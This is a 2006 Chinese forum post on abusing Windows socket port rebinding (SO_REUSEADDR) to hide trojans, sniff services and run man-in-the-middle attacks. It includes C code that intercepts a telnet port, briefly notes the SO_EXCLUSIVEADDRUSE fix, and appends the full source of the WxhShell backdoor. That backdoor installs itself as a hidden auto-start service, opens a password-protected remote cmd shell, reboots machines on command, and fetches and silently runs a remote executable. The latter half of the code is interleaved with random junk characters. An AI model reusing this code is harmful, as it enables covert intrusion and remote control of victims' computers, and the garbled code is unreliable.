[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; hrt]Qn&
if(chr[0]==0xd || chr[0]==0xa) { '=^$;3Z
pwd=0; Z\@m_/g
break; _r6aLm2n
} E$w2SQ
i++; |x[zzx# >-
} Uz&XqjS
mV58&SZT
// 如果是非法用户，关闭 socket T9,T'y>BD
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gxj3/&]^Y
} HalkNR-eEm
<o\2-fWvY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PN$vBFjm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z g'1T2t
xq.HR_\
while(1) { cc"L> XoK
]nEZQ+F
ZeroMemory(cmd,KEY_BUFF); @7C?]/8#
)kq3q5*_
// 自动支持客户端 telnet标准 ]B;\?Tim
j=0; tc_D8Q_
while(j<KEY_BUFF) { )Apg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AxXFzMW
cmd[j]=chr[0]; -}h+hS50F
if(chr[0]==0xa || chr[0]==0xd) { 2I2#o9(Ar
cmd[j]=0; C#y[UM5\k;
break; Pd,+= ML
} ~sI$xX!
j++; m _0D^e7#
} jf_0IE
N<xf=a+j
// 下载文件 7,\Uk|
if(strstr(cmd,"http://")) { ]G0`W6;$]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kg>Ymo.
if(DownloadFile(cmd,wsh)) b :Knc$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1lxsj{>U
else 3E!#?N|v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A1zqm_X5)P
} >@2l/x8;
else { [I`r[u
cR0RJ$[d
switch(cmd[0]) { jf&LSK;2
x<0-'EF/S
// 帮助 q+MV@8w
case '?': { iaqhP7!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wp0e?bK_
break; Jl"),;Od
} Q9lw~"
// 安装 0L34)W
case 'i': { 6AZJ,Q\E@
if(Install()) o@?3i+%}8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }),tk?\
else kAbkhZ1^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\`D1d@
break; -%&_LE9ZtS
} ^y?7B_%:B#
// 卸载 ~~?4w.k
case 'r': { Xd_86q8o
if(Uninstall()) _YXk,ME!Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOSol7n
else G`9\v=0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kilq Jg1%C
break; 73$^y)AvY
} ZQT14.$L
// 显示 wxhshell 所在路径 zN(fZT}K5
case 'p': { {Gnji] v
char svExeFile[MAX_PATH]; ,3G8afo
strcpy(svExeFile,"\n\r"); S~\i"A)4
strcat(svExeFile,ExeFile); v;S7i>\
send(wsh,svExeFile,strlen(svExeFile),0); (k9{&mPJ
break; 10v4k<xb
} Azx4+`!-
// 重启 0`=#1u8
case 'b': { 3~"G(UP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6i/x"vl>
if(Boot(REBOOT)) k zhek >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UV%Al)3
else { )%q]?@kB
closesocket(wsh); [&n2 yt
ExitThread(0); Zx(VwB2
} g{@q
break; fX).A`
} R07Kure
// 关机 +tL]qOBP
case 'd': { zbdmz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?5e:w?&g@
if(Boot(SHUTDOWN)) 3^l@!Qw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xzg81sV7
else { .g.v
closesocket(wsh); f&glY`s#
ExitThread(0); *TY?*H
} oD]tHuDa
break; 3]BK*OqJ
} w-?_U7'
// 获取shell n7`R+4/s
case 's': { <rc?EV
CmdShell(wsh); OD!b*Iy|
closesocket(wsh); xJ>U_Gd
ExitThread(0); v*'dA^Q
break; <A +VS
} mG2*s ^$
// 退出 !6:kJL}U
case 'x': { @K; 4'b~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uk=jQfA*J
CloseIt(wsh); GGcNaW'
break; XTpYf
} ( /{Wu:e
// 离开 E7-il;`cKn
case 'q': { A{mv[x-XN
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5y;texsj[
closesocket(wsh); Lu!o!>b
WSACleanup(); wP.b2X_V
exit(1); ?4Z`^uy
break; iB1"aE3
} 25%[nkO4
} fB+4mEG@
} cl kL)7RQ
3B#qQ#
// 提示信息 ehB (?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K[JbQ30
} v< qN-zG
} Vvk1 D(
R&Y+x;({
return; mOG;[CB
} KECo7i=e
f& P'Kxj_
// shell模块句柄 9<BC6M_/
int CmdShell(SOCKET sock) gE$D#PZa
{ rw(EI,G
STARTUPINFO si; d>[=]
ZeroMemory(&si,sizeof(si)); 'jAX&7G`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Y.H*ca
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BEWDTOY[
PROCESS_INFORMATION ProcessInfo; KwO;ICdJ
char cmdline[]="cmd"; lezX-5Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~JhH ,E
return 0; wq$+m(
} g{{DC )>
vz'/]E
// 自身启动模式 LYY3*d
int StartFromService(void) QP HibPP:
{ X@;; h
typedef struct {/|RKV83
{ Fo\* Cr9D
DWORD ExitStatus; E6+c{41B
DWORD PebBaseAddress; /G*]3=cSe
DWORD AffinityMask; Egy#_ RT{
DWORD BasePriority; +9EG6"..@H
ULONG UniqueProcessId; [_kis
ULONG InheritedFromUniqueProcessId; pjG/`
} PROCESS_BASIC_INFORMATION; q|N,?f9
p1}umDb%
PROCNTQSIP NtQueryInformationProcess; FFC"rG
);*:UzsC_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4WspPHj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GnTCq_\
Lt'FA
HANDLE hProcess; (rTn6[*
PROCESS_BASIC_INFORMATION pbi; :{7gZ+*
Bh<DqN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o/dj1a~U
if(NULL == hInst ) return 0; a ][t#`
Xg<R+o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2g0_[$[m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zDK"Y{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QVT|6znw
rJz`v/:|P
if (!NtQueryInformationProcess) return 0; qS|ns'[
|f+`FOliP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kg/<<RO
if(!hProcess) return 0; A!GQ4.~%
6j2mr6o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b+/z,c6w
I9VU,8~
CloseHandle(hProcess); b=$(`y
2=]Xe#5J=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6B8gMO
if(hProcess==NULL) return 0; H{1'OC
UI]UxEJ
HMODULE hMod; pB;8yz=
char procName[255]; c9/&A
unsigned long cbNeeded; fk5$z0/
k]"DsN$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S4O'N x
bCfw,V{sce
CloseHandle(hProcess); 4Pv Pp{Y
>{1 i8 b@
if(strstr(procName,"services")) return 1; // 以服务启动 Bw Cwy
gt \O
return 0; // 注册表启动 1}/37\
} wAA9M4
c,L{Qv"n{
// 主模块 :jHDeF.A
int StartWxhshell(LPSTR lpCmdLine) yM PZ}
{ hanS8
SOCKET wsl; Va-.
BOOL val=TRUE; (dnaT-M3
int port=0; +@mgb4_
struct sockaddr_in door; ir<K"wi(2
Lk`,mjhk
if(wscfg.ws_autoins) Install(); ^3O`8o
]w/%>
port=atoi(lpCmdLine); /r?EY&9G
I&Z+FL&@f
if(port<=0) port=wscfg.ws_port; \N a
H[[#h=r0f
WSADATA data; /oC@:7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u5I#5
\J-}Dp\0b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f7v|N)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [J\! 2\Oo
door.sin_family = AF_INET; 3R?6{.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xf6\{
door.sin_port = htons(port); )u>/:
["BD,mB
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !V27ln KP+
closesocket(wsl); W8N__
return 1; %(ms74R+
} %T,cR>lw
cL+bMM$4r~
if(listen(wsl,2) == INVALID_SOCKET) { EXizRL-9o
closesocket(wsl); XFi!=|F
return 1; PL*1-t?#
} |0$7{nQ
Wxhshell(wsl); z|v/hUrD
WSACleanup(); !n`Y^
1qE*M7_:E>
return 0; 7R#$Hm
Ocf:73t
} m~RMe9Qi
I'c rH/z9
// 以NT服务方式启动 n0vhc;d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qt=nN-AC(
{ O)D+u@RhH
DWORD status = 0; 8fC5O
DWORD specificError = 0xfffffff; h:Hpz
ueLdjASJ
serviceStatus.dwServiceType = SERVICE_WIN32; :89AYqT"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; c3!YA"5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2yPF'Q7u_.
serviceStatus.dwWin32ExitCode = 0; .*{0[
serviceStatus.dwServiceSpecificExitCode = 0; -m_H]<lWZ
serviceStatus.dwCheckPoint = 0; S&{#sl#e
serviceStatus.dwWaitHint = 0; Q+zy\T
iu'At7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OYj~"-3y)
if (hServiceStatusHandle==0) return; I`S?2i2H
W3y9>]{x^
status = GetLastError(); t$(<9
if (status!=NO_ERROR) 9PWqoz2c
{ 2T3b6
serviceStatus.dwCurrentState = SERVICE_STOPPED; nD}CQ_C
serviceStatus.dwCheckPoint = 0; 6GsB*hW
serviceStatus.dwWaitHint = 0; VL/KC-6
serviceStatus.dwWin32ExitCode = status; #iAw/a0&
serviceStatus.dwServiceSpecificExitCode = specificError; (dQsR sA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;r` 1 G
return; ]Nb~-)t%B
} Q=#@g
1aS66TS3
serviceStatus.dwCurrentState = SERVICE_RUNNING; vhL/L?NB$
serviceStatus.dwCheckPoint = 0; ^9 Pae)
serviceStatus.dwWaitHint = 0; k'PNfx\K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xMD]b
} P"<,@Mn
\><v1x>;
// 处理NT服务事件，比如：启动、停止 3$h yV{
VOID WINAPI NTServiceHandler(DWORD fdwControl) !"s~dL,7
{ OJXK]dZ
switch(fdwControl) 6+W`:0je
{ K%3{a=1
case SERVICE_CONTROL_STOP: LseS8F/q
serviceStatus.dwWin32ExitCode = 0; 3;f}w g
serviceStatus.dwCurrentState = SERVICE_STOPPED; {/q4W; D
serviceStatus.dwCheckPoint = 0; 0%;y'd**Ck
serviceStatus.dwWaitHint = 0; i~uoK7o|G
{ qTrb)95
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D0 ,t,,L
} );1UbqVPD
return; *Fm#Qek
case SERVICE_CONTROL_PAUSE: gYW
serviceStatus.dwCurrentState = SERVICE_PAUSED; Usf7 AS=
break; 'h{| ]
case SERVICE_CONTROL_CONTINUE: t[HA86X
serviceStatus.dwCurrentState = SERVICE_RUNNING; +~!\;71:f
break; !R3ZyZcX
case SERVICE_CONTROL_INTERROGATE: Qcs>BOV~
break; 0/,Dy2h
}; ?/FCq6o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K&UTs$_cI
} TY*uK
%tT=q^%5
// 标准应用程序主函数 GOj<>h}r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }TsND6Ws3
{ N^xk.O_TO
zjUT:#(k
// 获取操作系统版本 B|.8+Q
OsIsNt=GetOsVer(); }e4#Mx
GetModuleFileName(NULL,ExeFile,MAX_PATH); 48"=,IrM
W B7gY\Y&M
// 从命令行安装 hWfC"0
if(strpbrk(lpCmdLine,"iI")) Install(); XS`=8FQ
oz#;7 ?9
// 下载执行文件 jR@J1IR<
if(wscfg.ws_downexe) { ,R5z`O
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Mzkm^7B
WinExec(wscfg.ws_filenam,SW_HIDE); khS >
} /4bHN:I]M
IM*T+iRKqF
